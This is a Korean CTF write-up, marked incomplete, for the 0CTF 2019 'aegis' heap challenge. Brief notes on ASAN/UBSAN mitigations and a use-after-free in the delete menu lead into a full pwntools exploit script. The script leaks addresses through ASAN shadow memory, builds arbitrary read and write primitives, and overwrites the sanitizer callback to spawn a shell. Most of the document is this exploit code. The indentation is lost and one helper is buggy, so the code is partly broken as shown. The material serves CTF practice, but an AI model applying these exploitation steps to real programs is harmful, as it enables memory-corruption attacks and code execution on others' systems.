0CTF CTF 2019 aegis (Incompletion)

aegis

Binary File

[Mitigation]
잘 안 보이는 보호기법이 추가되었다. (대회에서 나온 거 처음 봄)

[In IDA]
IDA를 통해서 열어보면 ASAN, UBSAN 보호기법의 영향으로 마치 libc 파일을 여는 듯이 불러오는 함수가 많다. (보기 싫어진다)

[main.c]
여느 힙 문제와 같이 메뉴들이 주어졌는데 하단에 보면 히든 메뉴가 있다.

[굉장히 보기 싫게 생긴 코드]

[delete menu]
이 부분에서 UAF가 발생한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *

p = process('./aegis')

def add_note(size, content, ID):
p.sendlineafter("Choice: ", "1")
p.sendlineafter("Size: ", str(size))
p.sendafter("Content: ", str(content))
p.sendlineafter("ID: ", str(ID))

def show_note(index):
p.sendlineafter("Choice: ", "2")
p.sendlineafter("Index: ", str(index))
p.sendlineafter("Content: ", str(p.recvline))
return p.recvline()

def update_note_sendline(index, new_content, new_ID):
p.sendlineafter("Choice: ", "3")
p.sendlineafter("Index: ", str(index))
p.sendlineafter("New Content: ", str(new_content))
p.sendlineafter("New ID: ", str(new_ID))

def update_note(index, new_content, new_ID):
p.sendlineafter("Choice: ", "3")
p.sendlineafter("Index: ", str(index))
p.sendafter("New Content: ", str(new_content))
p.sendlineafter("New ID: ", str(new_ID))

def delete_note(index):
p.sendlineafter("Choice: ", "4")
p.sendlineafter("Index: ", str(index))

def secret(addr):
p.sendlineafter("Choice: ", "666")
p.sendlineafter("Lucky Number: ", str(addr))

def exit():
p.sendlineafter("Choice: ", "5")

def to_asan(addr):
return ((addr >> 3) + 0x7fff8000)

def leak_word():
note_data = show_note(0)
print "note data", note_data
note_data = note_data.split('\n')[0]
note_data = (u64(note_data.ljust(8, '\x00')))
return note_data

VAL = 0xffffffffffffffff

add_note(16, "a"*8, VAL)
add_note(16, "b"*8, VAL)
addr = to_asan(0x602000000020)
print "magiccc", hex(addr)
secret(addr)

# do 1st update
update_note(0, 'C'*18, 0xffff)

# do 2nd update
payload = 'd'*16 + '\x02'*3
payloadid = 0xffffffff02ffffff
update_note_sendline(0, payload, payloadid)
delete_note(0)
add_note(16, p64(0x602000000018), 0x00)
note_data = leak_word()
cfi = note_data
text_base = note_data - 1133232
log.progress("Text base: {}".format((hex(text_base))))

got_offset = 0x000000000347E28

def arb_read(addr):
update_note(2, "c"*(1)+"\n", VAL)
update_note(2, "c"*(2), 0xffff)
update_note(2, "c"*(4), 0xffff)
update_note(2, "c"*(6), 0xffff)
update_note(2, "c"*(8), 0xffff)
update_note(2, p64(addr)[0:7] + "\n", cfi)

note_data = leak_word()
return note_data

libc = arb_read(got_offset + text_base)

libc -= 526784
log.progress("LIBC: {}".format(hex(libc)))
one_gadget = libc + 0x10a38c+12
log.progress("ONE GADGET: {}".format(hex(one_gadget)))

malloc_hook_offset = 0x00000000003ebc30
main_arena_offset = 4111424
asan_malloc_hook_offset = 0x7ae140
san_userdie_callback = 0xFB0888
strtoul_got_offset = 0x347f20
environ_offset = 4120728

# intercepted methods
real_vprintf_off = 0x55BBB0
real_memset_off = 0x55Bd30
real_cxa_atexit = 0x559208

update_func = text_base + 0x114614
main_func = text_base + 0x114990

# perform overwrite!
overwrite_addr = text_base + san_userdie_callback + 0x18
pop_rdx_rcx_rbx_ret = 0x0000000000103cc9
ret = 0x0000000000b17c5

def arb_write(addr, val, idval = 0, use_cfi = True):
update_note(2, "c"*(1)+"\n", VAL)
update_note(2, "c"*(2), 0xffff)
update_note(2, "c"*(4), 0xffff)
update_note(2, "c"*(6), 0xffff)
update_note(2, "c"*(8), 0xffff)
mycfi = cfi if use_cfi else 0
update_note(2, p64(addr)[0:6] + "\n", one_gadget << 8)

print "idval", hex(idval)
update_note(0, p64(val)[0:6] + "\n", 0)

def update_trunc(index, new_content, new_ID):
p.sendlineafter("Index: ", str(index))
p.sendlineafter("New Content: ", str(new_content))
p.sendlineafter("New ID: ", str(new_ID))

rop_gadget = libc + 0x9df05
arb_write(overwrite_addr, rop_gadget, idval=libc + ret, use_cfi = False)
p.interactive()
[Exploit Code]

공유하기